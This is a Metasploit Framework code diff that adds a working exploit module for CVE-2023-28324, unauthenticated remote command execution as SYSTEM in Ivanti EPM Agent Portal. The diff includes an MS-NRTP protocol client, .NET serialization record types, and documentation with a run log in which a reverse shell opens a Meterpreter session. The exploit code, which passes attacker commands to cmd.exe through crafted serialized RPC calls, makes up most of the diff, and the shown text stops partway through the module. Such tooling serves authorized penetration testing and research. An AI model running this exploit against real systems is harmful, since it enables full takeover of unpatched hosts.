diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 9f2181ae2adc..a28effd3534f 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -184744,6 +184744,59 @@ "session_types": false, "needs_cleanup": null }, + "exploit_windows/misc/ivanti_agent_portal_cmdexec": { + "name": "Ivanti EPM Agent Portal Command Execution", + "fullname": "exploit/windows/misc/ivanti_agent_portal_cmdexec", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2023-06-07", + "type": "exploit", + "author": [ + "James Horseman", + "Zach Hanley", + "Spencer McIntyre" + ], + "description": "This module leverages an unauthenticated RCE in Ivanti's EPM Agent Portal where a RPC client can invoke a method\n which will run an attacker-specified string on the remote target as NT AUTHORITY\\SYSTEM.\n This vulnerability is present in versions prior to EPM 2021.1 Su4 and EPM 2022 Su2.", + "references": [ + "CVE-2023-28324", + "URL-https://forums.ivanti.com/s/article/SA-2023-06-06-CVE-2023-28324?language=en_US", + "URL-https://github.com/horizon3ai/CVE-2023-28324" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": [ + "Automatic" + ], + "mod_time": "2024-11-20 13:51:39 +0000", + "path": "/modules/exploits/windows/misc/ivanti_agent_portal_cmdexec.rb", + "is_install_path": true, + "ref_name": "windows/misc/ivanti_agent_portal_cmdexec", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + + ], + "Reliability": [ + "repeatable-session" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_windows/misc/ivanti_avalanche_mdm_bof": { "name": "Ivanti Avalanche MDM Buffer Overflow", "fullname": "exploit/windows/misc/ivanti_avalanche_mdm_bof", diff --git a/documentation/modules/exploit/windows/misc/ivanti_agent_portal_cmdexec.md b/documentation/modules/exploit/windows/misc/ivanti_agent_portal_cmdexec.md new file mode 100644 index 000000000000..90640eae84da --- /dev/null +++ b/documentation/modules/exploit/windows/misc/ivanti_agent_portal_cmdexec.md @@ -0,0 +1,47 @@ +## Vulnerable Application +This module leverages an unauthenticated RCE in Ivanti's EPM Agent Portal where a RPC client can invoke a method +which will run an attacker-specified string on the remote target as NT AUTHORITY\SYSTEM. +This vulnerability is present in versions prior to EPM 2021.1 Su4 and EPM 2022 Su2. + +## Verification Steps + +1. Install the application +1. Determine which port the vulnerable AgentPortal service is listening on. It has a non-static value. + 1. The port used by the AgentPortal service can be found in the registry at `HKLM\SOFTWARE\LANDesk\SharedComponents\LANDeskAgentPortal` + 1. Or you could scan for it and probe the high ports (testing suggests it should be in the 49000 - 50000 range). +1. Start msfconsole +1. Do: `use exploit/windows/misc/ivanti_agent_portal_cmdexec` +1. Set the `RPORT`, `PAYLOAD` and any payload-related options +1. Run the module + +## Options + +## Scenarios + +### Ivanti 2021.1 / 11.0.4.733 on Windows Server 2022 x64 + +``` +metasploit-framework.pr (S:3 J:0) exploit(windows/misc/ivanti_agent_portal_cmdexec) > run + +[*] Powershell command length: 4205 +[*] Started reverse TCP handler on 192.168.159.128:4444 +[*] 192.168.159.130:49673 - Running automatic check ("set AutoCheck false" to disable) +[*] 192.168.159.130:49673 - Connected to the remote end point +[+] 192.168.159.130:49673 - The target is vulnerable. +[*] Sending stage (176198 bytes) to 192.168.159.130 +[*] Meterpreter session 11 opened (192.168.159.128:4444 -> 192.168.159.130:53627) at 2024-10-28 17:15:09 -0400 + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > sysinfo +Computer : WIN-NJ6DUF1OCAM +OS : Windows Server 2022 (10.0 Build 20348). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x86/windows +meterpreter > pwd +C:\Windows\system32 +meterpreter > +``` diff --git a/lib/msf/util/dot_net_deserialization/enums.rb b/lib/msf/util/dot_net_deserialization/enums.rb index 158e588c59d2..88b82f3ffd18 100644 --- a/lib/msf/util/dot_net_deserialization/enums.rb +++ b/lib/msf/util/dot_net_deserialization/enums.rb @@ -6,6 +6,16 @@ module Enums # # .NET Serialization Enumerations # +BinaryArrayTypeEnum = { + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/4dbbf3a8-6bc4-4dfc-aa7e-36a35be6ff58 + Single: 0, + Jagged: 0, + Rectangular: 2, + SingleOffset: 3, + JaggedOffset: 4, + RectangularOffset: 5 +} + BinaryTypeEnum = { # see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/054e5c58-be21-4c86-b1c3-f6d3ce17ec72 Primitive: 0, diff --git a/lib/msf/util/dot_net_deserialization/types.rb b/lib/msf/util/dot_net_deserialization/types.rb index 98978a486327..d4e27872ae39 100644 --- a/lib/msf/util/dot_net_deserialization/types.rb +++ b/lib/msf/util/dot_net_deserialization/types.rb @@ -7,6 +7,7 @@ class Record < BinData::Record; end # forward definition require 'msf/util/dot_net_deserialization/types/primitives' require 'msf/util/dot_net_deserialization/types/general' + require 'msf/util/dot_net_deserialization/types/common_structures' require 'msf/util/dot_net_deserialization/types/record_values' # @@ -16,6 +17,7 @@ class Record < BinData::Record endian :little uint8 :record_type choice :record_value, selection: -> { record_type } do + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/954a0657-b901-4813-9398-4ec732fe8b32 serialization_header_record Enums::RecordTypeEnum[:SerializedStreamHeader] class_with_id Enums::RecordTypeEnum[:ClassWithId] system_class_with_members Enums::RecordTypeEnum[:SystemClassWithMembers] @@ -23,7 +25,7 @@ class Record < BinData::Record system_class_with_members_and_types Enums::RecordTypeEnum[:SystemClassWithMembersAndTypes] class_with_members_and_types Enums::RecordTypeEnum[:ClassWithMembersAndTypes] binary_object_string Enums::RecordTypeEnum[:BinaryObjectString] - #binary_array Enums::RecordTypeEnum[:BinaryArray] + binary_array Enums::RecordTypeEnum[:BinaryArray] #member_primitive_typed Enums::RecordTypeEnum[:MemberPrimitiveTyped] member_reference Enums::RecordTypeEnum[:MemberReference] object_null Enums::RecordTypeEnum[:ObjectNull] @@ -32,10 +34,10 @@ class Record < BinData::Record #object_null_multiple_256 Enums::RecordTypeEnum[:ObjectNullMultiple256] #object_null_multiple Enums::RecordTypeEnum[:ObjectNullMultiple] array_single_primitive Enums::RecordTypeEnum[:ArraySinglePrimitive] - #array_single_object Enums::RecordTypeEnum[:ArraySingleObject] + array_single_object Enums::RecordTypeEnum[:ArraySingleObject] array_single_string Enums::RecordTypeEnum[:ArraySingleString] - #method_call Enums::RecordTypeEnum[:MethodCall] - #method_return Enums::RecordTypeEnum[:MethodReturn] + binary_method_call Enums::RecordTypeEnum[:MethodCall] + binary_method_return Enums::RecordTypeEnum[:MethodReturn] end def self.from_value(record_value, parent: nil) diff --git a/lib/msf/util/dot_net_deserialization/types/common_structures.rb b/lib/msf/util/dot_net_deserialization/types/common_structures.rb new file mode 100644 index 000000000000..b0183f3bf1da --- /dev/null +++ b/lib/msf/util/dot_net_deserialization/types/common_structures.rb @@ -0,0 +1,70 @@ +module Msf +module Util +module DotNetDeserialization +module Types +module CommonStructures + + # + # .NET Serialization Types (Common Structures) + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/acd7fe17-615c-467f-b700-e5e8761b8637 + # + class ValueWithCode < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/0418b4a2-1e52-45dc-8622-1b619fa3ffec + endian :little + + uint8 :primitive_type_enum + choice :val, selection: :primitive_type_enum do + boolean Enums::PrimitiveTypeEnum[:Boolean] + uint8 Enums::PrimitiveTypeEnum[:Byte] + double Enums::PrimitiveTypeEnum[:Double] + int16 Enums::PrimitiveTypeEnum[:Int16] + int32 Enums::PrimitiveTypeEnum[:Int32] + int64 Enums::PrimitiveTypeEnum[:Int64] + int8 Enums::PrimitiveTypeEnum[:SByte] + float Enums::PrimitiveTypeEnum[:Single] + int64 Enums::PrimitiveTypeEnum[:TimeSpan] + date_time Enums::PrimitiveTypeEnum[:DateTime] + uint16 Enums::PrimitiveTypeEnum[:UInt16] + uint32 Enums::PrimitiveTypeEnum[:UInt32] + uint64 Enums::PrimitiveTypeEnum[:UInt64] + null Enums::PrimitiveTypeEnum[:Null] + length_prefixed_string Enums::PrimitiveTypeEnum[:String] + end + end + + class StringValueWithCode < BinData::Primitive + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/ecc20dd0-1d83-4a22-b4b2-23c58b03dffc + endian :little + + uint8 :primitive_type_enum, value: Enums::PrimitiveTypeEnum[:String] + length_prefixed_string :string_value + + def get + self.string_value + end + + def set(v) + self.string_value = value + end + end + + class ArrayOfValueWithCode < BinData::Primitive + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/330f623e-7412-46c9-8ae0-59543bbfee86 + endian :little + + int32 :list_length, initial_value: -> { list_of_value_with_code.length } + array :list_of_value_with_code, type: :value_with_code, initial_length: :list_length + + def get + self.list_of_value_with_code + end + + def set(v) + self.list_of_value_with_code = v + end + end +end +end +end +end +end diff --git a/lib/msf/util/dot_net_deserialization/types/general.rb b/lib/msf/util/dot_net_deserialization/types/general.rb index 90ea973f098b..9ee06616756e 100644 --- a/lib/msf/util/dot_net_deserialization/types/general.rb +++ b/lib/msf/util/dot_net_deserialization/types/general.rb @@ -80,6 +80,31 @@ def selection_routine(index) end end + class MessageFlags < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/67213df2-7c15-4543-8e08-42ae0f7c66bf + endian :little + + bit1 :method_signature_in_array + bit1 :context_in_array + bit1 :context_inline + bit1 :no_context + bit1 :args_in_array + bit1 :args_is_array + bit1 :args_inline + bit1 :no_args + + bit1 :generic_method + bit1 :unused1 + bit1 :exception_in_array + bit1 :return_value_in_array + bit1 :return_value_inline + bit1 :return_value_void + bit1 :no_return_value + bit1 :properties_in_array + + uint16 :unused2 + end + end end end diff --git a/lib/msf/util/dot_net_deserialization/types/record_values.rb b/lib/msf/util/dot_net_deserialization/types/record_values.rb index 79cfd2fc38d0..aec8dc881500 100644 --- a/lib/msf/util/dot_net_deserialization/types/record_values.rb +++ b/lib/msf/util/dot_net_deserialization/types/record_values.rb @@ -30,6 +30,13 @@ class ArraySinglePrimitive < BinData::Record end end + class ArraySingleObject < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/982b2f50-6367-402a-aaf2-44ee96e2a5e0 + RECORD_TYPE = Enums::RecordTypeEnum[:ArraySingleObject] + endian :little + array_info :array_info + end + class ArraySingleString < BinData::Record # see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/3d98fd60-d2b4-448a-ac0b-3cd8dea41f9d RECORD_TYPE = Enums::RecordTypeEnum[:ArraySingleString] @@ -38,6 +45,43 @@ class ArraySingleString < BinData::Record array :members, type: :record, initial_length: -> { array_info.member_count } end + class BinaryArray < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/9c62c928-db4e-43ca-aeba-146256ef67c2 + RECORD_TYPE = Enums::RecordTypeEnum[:BinaryArray] + endian :little + obj_id :obj_id + uint8 :binary_array_type_enum + int32 :rank + array :lengths, type: :int32, initial_length: :rank + array :lower_bounds, type: :int32, initial_length: :rank, onlyif: :has_lower_bounds? + uint8 :type_enum + choice :additional_type_info, selection: :type_enum, onlyif: :has_additional_type_info? do + uint8 Enums::BinaryTypeEnum[:Primitive] + length_prefixed_string Enums::BinaryTypeEnum[:SystemClass] + class_type_info Enums::BinaryTypeEnum[:Class] + uint8 Enums::BinaryTypeEnum[:PrimitiveArray] + end + + private + + def has_additional_type_info? + [ + Enums::BinaryTypeEnum[:Primitive], + Enums::BinaryTypeEnum[:SystemClass], + Enums::BinaryTypeEnum[:Class], + Enums::BinaryTypeEnum[:PrimitiveArray], + ].include? type_enum + end + + def has_lower_bounds? + [ + Enums::BinaryArrayTypeEnum[:SingleOffset], + Enums::BinaryArrayTypeEnum[:JaggedOffset], + Enums::BinaryArrayTypeEnum[:RectangleOffset] + ].include? binary_array_type_enum + end + end + class BinaryLibrary < BinData::Record # see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/7fcf30e1-4ad4-4410-8f1a-901a4a1ea832 RECORD_TYPE = Enums::RecordTypeEnum[:BinaryLibrary] @@ -46,6 +90,27 @@ class BinaryLibrary < BinData::Record length_prefixed_string :library_name end + class BinaryMethodCall < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/ddb4da3d-8cd7-414f-b984-1a509d985bd2 + RECORD_TYPE = Enums::RecordTypeEnum[:MethodCall] + endian :little + message_flags :message_enum + string_value_with_code :method_name + string_value_with_code :type_name + string_value_with_code :call_context, onlyif: -> { message_enum.context_inline != 0 } + array_of_value_with_code :args, onlyif: -> { message_enum.args_inline != 0 } + end + + class BinaryMethodReturn < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/1b34e743-38ac-47bd-8c8d-2fca1cd417b7 + RECORD_TYPE = Enums::RecordTypeEnum[:MethodReturn] + endian :little + message_flags :message_enum + value_with_code :return_value, onlyif: -> { message_enum.return_value_inline != 0 } + string_value_with_code :call_context, onlyif: -> { message_enum.context_inline != 0 } + array_of_value_with_code :args, onlyif: -> { message_enum.args_inline != 0 } + end + class BinaryObjectString < BinData::Record # see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/eb503ca5-e1f6-4271-a7ee-c4ca38d07996 RECORD_TYPE = Enums::RecordTypeEnum[:BinaryObjectString] @@ -137,6 +202,7 @@ class SystemClassWithMembersAndTypes < BinData::Record extend Primitives::MemberValues::Factory end + end end end diff --git a/lib/rex/proto/ms_nrtp/client.rb b/lib/rex/proto/ms_nrtp/client.rb new file mode 100644 index 000000000000..8013a4fc4ef0 --- /dev/null +++ b/lib/rex/proto/ms_nrtp/client.rb @@ -0,0 +1,118 @@ +class Rex::Proto::MsNrtp::Client + + require 'rex/stopwatch' + require 'rex/proto/ms_nrtp/ms_nrtp_message' + + include Rex::Proto::MsNrtp + + # @return [String] The MS-NRTP server host. + attr_reader :host + + # @return [Integer] The S-NRTP server port. + attr_reader :port + + # @return [String] The server resource component of the URI string. + attr_reader :resource + + # @return [Boolean] Whether or not SSL is used for the connection. + attr_reader :ssl + + # @return [Rex::Socket::Comm] An optional, explicit object to use for creating the connection. + attr_reader :comm + + # @!attribute timeout + # @return [Integer] The communication timeout in seconds. + attr_accessor :timeout + + # @param [String] host The MS-NRTP server host. + # @param [Integer,NilClass] port The MS-NRTP server port or nil for automatic based on ssl. + # @param [Boolean] ssl Whether or not SSL is used for the connection. + # @param [String] ssl_version The SSL version to use. + # @param [Rex::Socket::Comm] comm An optional, explicit object to use for creating the connection. + # @param [Integer] timeout The communication timeout in seconds. + def initialize(host, port, resource, context: {}, ssl: false, ssl_version: nil, comm: nil, timeout: 10) + @host = host + @port = port + @resource = resource + @context = context + @ssl = ssl + @ssl_version = ssl_version + @comm = comm + @timeout = timeout + end + + # Establish the connection to the remote server. + # + # @param [Integer] t An explicit timeout to use for the connection otherwise the default will be used. + # @return [NilClass] + def connect(t = -1) + timeout = (t.nil? or t == -1) ? @timeout : t + + @conn = Rex::Socket::Tcp.create( + 'PeerHost' => @host, + 'PeerPort' => @port.to_i, + 'Context' => @context, + 'SSL' => @ssl, + 'SSLVersion' => @ssl_version, + 'Timeout' => timeout, + 'Comm' => @comm + ) + + nil + end + + # Close the connection to the remote server. + # + # @return [NilClass] + def close + if @conn && !@conn.closed? + @conn.shutdown + @conn.close + end + + @conn = nil + end + + def recv + remaining = @timeout + message, elapsed_time = Rex::Stopwatch.elapsed_time do + ::Timeout.timeout(remaining) do + MsNrtpMessage.read(@conn) + end + end + return nil unless message.operation_type == Enums::OperationTypeEnum[:Reply] && message.content_length? + + remaining -= elapsed_time + body = '' + while body.length < message.content_length + chunk, elapsed_time = Rex::Stopwatch.elapsed_time do + @conn.read(message.content_length - body.length, remaining) + end + remaining -= elapsed_time + body << chunk + end + + body + end + + def send(data, content_type) + message = MsNrtpMessage.new( + content_length: data.length, + headers: [ + { token: MsNrtpHeader::MsNrtpHeaderUri::TOKEN, header: { uri_value: "tcp://#{Rex::Socket.to_authority(@host, @port)}/#{@resource}" } }, + { token: MsNrtpHeader::MsNrtpHeaderContentType::TOKEN, header: { content_type_value: content_type } }, + { token: MsNrtpHeader::MsNrtpHeaderEnd::TOKEN } + ] + ) + @conn.put(message.to_binary_s + data) + end + + def send_recv(data, content_type) + send(data, content_type) + recv + end + + def send_binary(serialized_stream) + send(serialized_stream.to_binary_s, 'application/octet-stream'.encode('UTF-8')) + end +end diff --git a/lib/rex/proto/ms_nrtp/enums.rb b/lib/rex/proto/ms_nrtp/enums.rb new file mode 100644 index 000000000000..4fdb1373a133 --- /dev/null +++ b/lib/rex/proto/ms_nrtp/enums.rb @@ -0,0 +1,10 @@ +module Rex::Proto::MsNrtp + module Enums + OperationTypeEnum = { + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrtp/e64b2561-defe-4fb5-865e-ea6706c1253d + Request: 0, + OneWayRequest: 1, + Reply: 2 + } + end +end diff --git a/lib/rex/proto/ms_nrtp/ms_nrtp_counted_string.rb b/lib/rex/proto/ms_nrtp/ms_nrtp_counted_string.rb new file mode 100644 index 000000000000..07f9129313e6 --- /dev/null +++ b/lib/rex/proto/ms_nrtp/ms_nrtp_counted_string.rb @@ -0,0 +1,25 @@ +module Rex::Proto::MsNrtp + class MsNrtpCountedString < BinData::Primitive + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrtp/fea06769-1899-422e-9230-ce3a58710c20 + endian :little + + uint8 :string_encoding + uint32 :string_length, initial_value: -> { string_data.length } + uint8_array :string_data, initial_length: :string_length + + def get + self.string_data.to_binary_s.force_encoding(self.string_encoding == 0 ? Encoding::UTF_16LE : Encoding::UTF_8) + end + + def set(v) + self.string_data = v.bytes + if v.encoding == Encoding::UTF_16LE + self.string_encoding = 0 + elsif v.encoding == Encoding::UTF_8 + self.string_encoding = 1 + else + raise ::EncodingError, 'strings must be UTF-8 or UTF-16' + end + end + end +end diff --git a/lib/rex/proto/ms_nrtp/ms_nrtp_header.rb b/lib/rex/proto/ms_nrtp/ms_nrtp_header.rb new file mode 100644 index 000000000000..eb9c7c43e798 --- /dev/null +++ b/lib/rex/proto/ms_nrtp/ms_nrtp_header.rb @@ -0,0 +1,92 @@ +require 'rex/proto/ms_nrtp/ms_nrtp_counted_string' + +module Rex::Proto::MsNrtp::MsNrtpHeader + class MsNrtpHeaderEnd < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrtp/32803cc9-e5d2-4d76-8852-b2eba3af25ca + TOKEN = 0 + endian :little + end + + class MsNrtpHeaderCustom < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrtp/709beed5-da49-45b0-bf1b-836da17352c3 + TOKEN = 1 + endian :little + + ms_nrtp_counted_string :header_name + ms_nrtp_counted_string :header_value + end + + class MsNrtpHeaderStatusCode < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrtp/70cdb0d8-6a58-46ae-8cb0-6976a9c3720e + TOKEN = 2 + endian :little + + uint8 :data_type, value: 2 + uint16 :status_code_value + end + + class MsNrtpHeaderStatusPhrase < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrtp/a9a0e845-56ba-4b4a-9561-93940f039150 + TOKEN = 3 + endian :little + + uint8 :data_type, value: 1 + ms_nrtp_counted_string :status_phrase_value + end + + class MsNrtpHeaderUri < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrtp/2b1b47f7-4fed-4515-a0f9-e0688664c728 + TOKEN = 4 + endian :little + + uint8 :data_type, value: 1 + ms_nrtp_counted_string :uri_value + end + + class MsNrtpHeaderCloseConnection < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrtp/f94572e8-c821-42a2-8b0f-dabe1cbc7e02 + TOKEN = 5 + endian :little + + uint8 :data_type, value: 0 + end + + class MsNrtpHeaderContentType < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrtp/d128389c-7cf6-4f09-9928-287324836344 + TOKEN = 6 + endian :little + + uint8 :data_type, value: 1 + ms_nrtp_counted_string :content_type_value + end + + class MsNrtpHeaderUnknown < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrtp/1cb3cf86-2a42-4f38-bfda-f4f546c629f5 + endian :little + + uint8 :data_type + choice :data_value, selection: :data_type, onlyif: -> { data_type != 0 } do + ms_nrtp_counted_string 1 + uint8 2 + uint16 3 + int32 4 + end + end + + class MsNrtpHeader < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrtp/c9a3ae3b-f50f-4b02-8540-964b59918291 + endian :little + + uint16 :token + choice :header, selection: :token do + ms_nrtp_header_end MsNrtpHeaderEnd::TOKEN + ms_nrtp_header_custom MsNrtpHeaderCustom::TOKEN + ms_nrtp_header_status_code MsNrtpHeaderStatusCode::TOKEN + ms_nrtp_header_status_phrase MsNrtpHeaderStatusPhrase::TOKEN + ms_nrtp_header_uri MsNrtpHeaderUri::TOKEN + ms_nrtp_header_close_connection MsNrtpHeaderCloseConnection::TOKEN + ms_nrtp_header_content_type MsNrtpHeaderContentType::TOKEN + ms_nrtp_header_unknown :default + end + end +end diff --git a/lib/rex/proto/ms_nrtp/ms_nrtp_message.rb b/lib/rex/proto/ms_nrtp/ms_nrtp_message.rb new file mode 100644 index 000000000000..9655537d6769 --- /dev/null +++ b/lib/rex/proto/ms_nrtp/ms_nrtp_message.rb @@ -0,0 +1,17 @@ +require 'rex/proto/ms_nrtp/ms_nrtp_header' + +module Rex::Proto::MsNrtp + + class MsNrtpMessage < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrtp/750a0ae4-b3e7-4c0e-97b1-8b95cffd04c5 + endian :little + + uint32 :protocol_id, value: 0x54454E2E + uint8 :major_version, initial_value: 1 + uint8 :minor_version, initial_value: 0 + uint16 :operation_type + uint16 :content_distribution + uint32 :content_length, onlyif: -> { content_distribution == 0 } + array :headers, type: :ms_nrtp_header, read_until: -> { element.token == MsNrtpHeader::MsNrtpHeaderEnd::TOKEN } + end +end diff --git a/modules/exploits/windows/misc/ivanti_agent_portal_cmdexec.rb b/modules/exploits/windows/misc/ivanti_agent_portal_cmdexec.rb new file mode 100644 index 000000000000..f11f289459b8 --- /dev/null +++ b/modules/exploits/windows/misc/ivanti_agent_portal_cmdexec.rb @@ -0,0 +1,199 @@ +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework + +require 'rex/proto/ms_nrtp/client' + +class MetasploitModule < Msf::Exploit::Remote + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Remote::Tcp + + Rank = ExcellentRanking + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Ivanti EPM Agent Portal Command Execution', + 'Description' => %q{ + This module leverages an unauthenticated RCE in Ivanti's EPM Agent Portal where a RPC client can invoke a method + which will run an attacker-specified string on the remote target as NT AUTHORITY\SYSTEM. + This vulnerability is present in versions prior to EPM 2021.1 Su4 and EPM 2022 Su2. + }, + 'Author' => [ + 'James Horseman', # original poc + 'Zach Hanley', # original poc + 'Spencer McIntyre' # metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2023-28324'], + ['URL', 'https://forums.ivanti.com/s/article/SA-2023-06-06-CVE-2023-28324?language=en_US'], + ['URL', 'https://github.com/horizon3ai/CVE-2023-28324'], + ], + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'Targets' => [ + [ 'Automatic', {} ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2023-06-07', # Ivanti article created date + 'Notes' => { + 'Stability' => [ CRASH_SAFE, ], + 'SideEffects' => [ ], + 'Reliability' => [ REPEATABLE_SESSION, ] + } + ) + ) + + register_options([ + Opt::RPORT(nil, true, 'The target port is not static. For more info, see this module\'s Verifications Steps in the docs.'), + ]) + deregister_options('SSL') + end + + def check + cwd = execute_command('echo %cd%', 0) + return CheckCode::Safe('Command execution failed.') unless cwd.to_s =~ /.:\\Windows\\System32/i + + CheckCode::Vulnerable("Command execution test succeeded. Current working directory: #{cwd}") + rescue Rex::SocketError => e + CheckCode::Safe("MS-NRTP connection failed. #{e.class}: #{e.message}") + end + + def exploit + execute_command(payload.raw) + end + + def execute_command(command, result_delay = -1) + if @nrtp_client.nil? + @nrtp_client = client = IAgentPortal.new( + datastore['RHOST'], + datastore['RPORT'], + 'LANDeskAgentPortal/LDSM', + context: { 'Msf' => framework, 'MsfExploit' => self } + ) + client.connect + vprint_status('Connected to the remote end point') + else + client = @nrtp_client + end + + client.do_request(command) + return nil unless result_delay >= 0 + + sleep result_delay + client.do_get_result + end +end + +class IAgentPortal < Rex::Proto::MsNrtp::Client + def recv_binary + Msf::Util::DotNetDeserialization::Types::SerializedStream.read(recv) + end + + def send_recv_binary(serialized_stream) + send_binary(serialized_stream) + recv_binary + end + + def do_request(shell_command) + ss_response = send_recv_binary(ss_request(shell_command)) + method_return = ss_response.records.find { |record| record.record_type == Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MethodReturn] } + method_return.record_value.return_value.val.value + end + + def do_get_result + ss_response = send_recv_binary(ss_get_result) + ass = ss_response.records.find { |record| record.record_type == Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ArraySingleString] } + return nil unless ass + + ass.record_value.members.first.record_value.string.value + end + + private + + def ss_get_result + Msf::Util::DotNetDeserialization::Types::SerializedStream.new({ + records: [ + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:SerializedStreamHeader], record_value: { major_version: 1 } }, + { + record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MethodCall], + record_value: { + message_enum: { + no_context: 1, + args_inline: 1 + }, + method_name: 'GetResult', + type_name: 'LANDesk.AgentPortal.IAgentPortal, AgentPortal, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb', + args: [{ primitive_type_enum: Msf::Util::DotNetDeserialization::Enums::PrimitiveTypeEnum[:String], val: 'localhost' }] + } + }, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MessageEnd] } + ] + }) + end + + def ss_request(shell_command) + Msf::Util::DotNetDeserialization::Types::SerializedStream.new({ + records: [ + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:SerializedStreamHeader], record_value: { root_id: 1, header_id: -1, major_version: 1, minor_version: 0 } }, + { + record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MethodCall], + record_value: { + message_enum: { + method_signature_in_array: 1, + no_context: 1, + args_in_array: 1 + }, + method_name: 'Request', + type_name: 'LANDesk.AgentPortal.IAgentPortal, AgentPortal, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb' + } + }, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ArraySingleObject], record_value: { array_info: { obj_id: 1, member_count: 2 } } }, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 2 } }, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 3 } }, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ArraySingleObject], record_value: { array_info: { obj_id: 2, member_count: 4 } } }, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 4, string: 'localhost' } }, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 5 } }, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 6, string: 'cmd.exe' } }, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 7, string: "/c #{shell_command}" } }, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryArray], record_value: { obj_id: 3, binary_array_type_enum: 0, rank: 1, lengths: [4], type_enum: 3, additional_type_info: 'System.Type' } }, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 8 } }, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 9 } }, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 8 } }, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 8 } }, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryLibrary], record_value: { library_id: 11, library_name: 'APCommon, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb' } }, + { + record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ClassWithMembersAndTypes], + record_value: { + class_info: { obj_id: 5, name: 'LANDesk.AgentPortal.IAgentPortalBase+ActionEnum', member_count: 1, member_names: ['value__'] }, + member_type_info: { binary_type_enums: [0], additional_infos: [8] }, + library_id: 11, + member_values: [1] + } + }, + { + record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:SystemClassWithMembersAndTypes], + record_value: { + 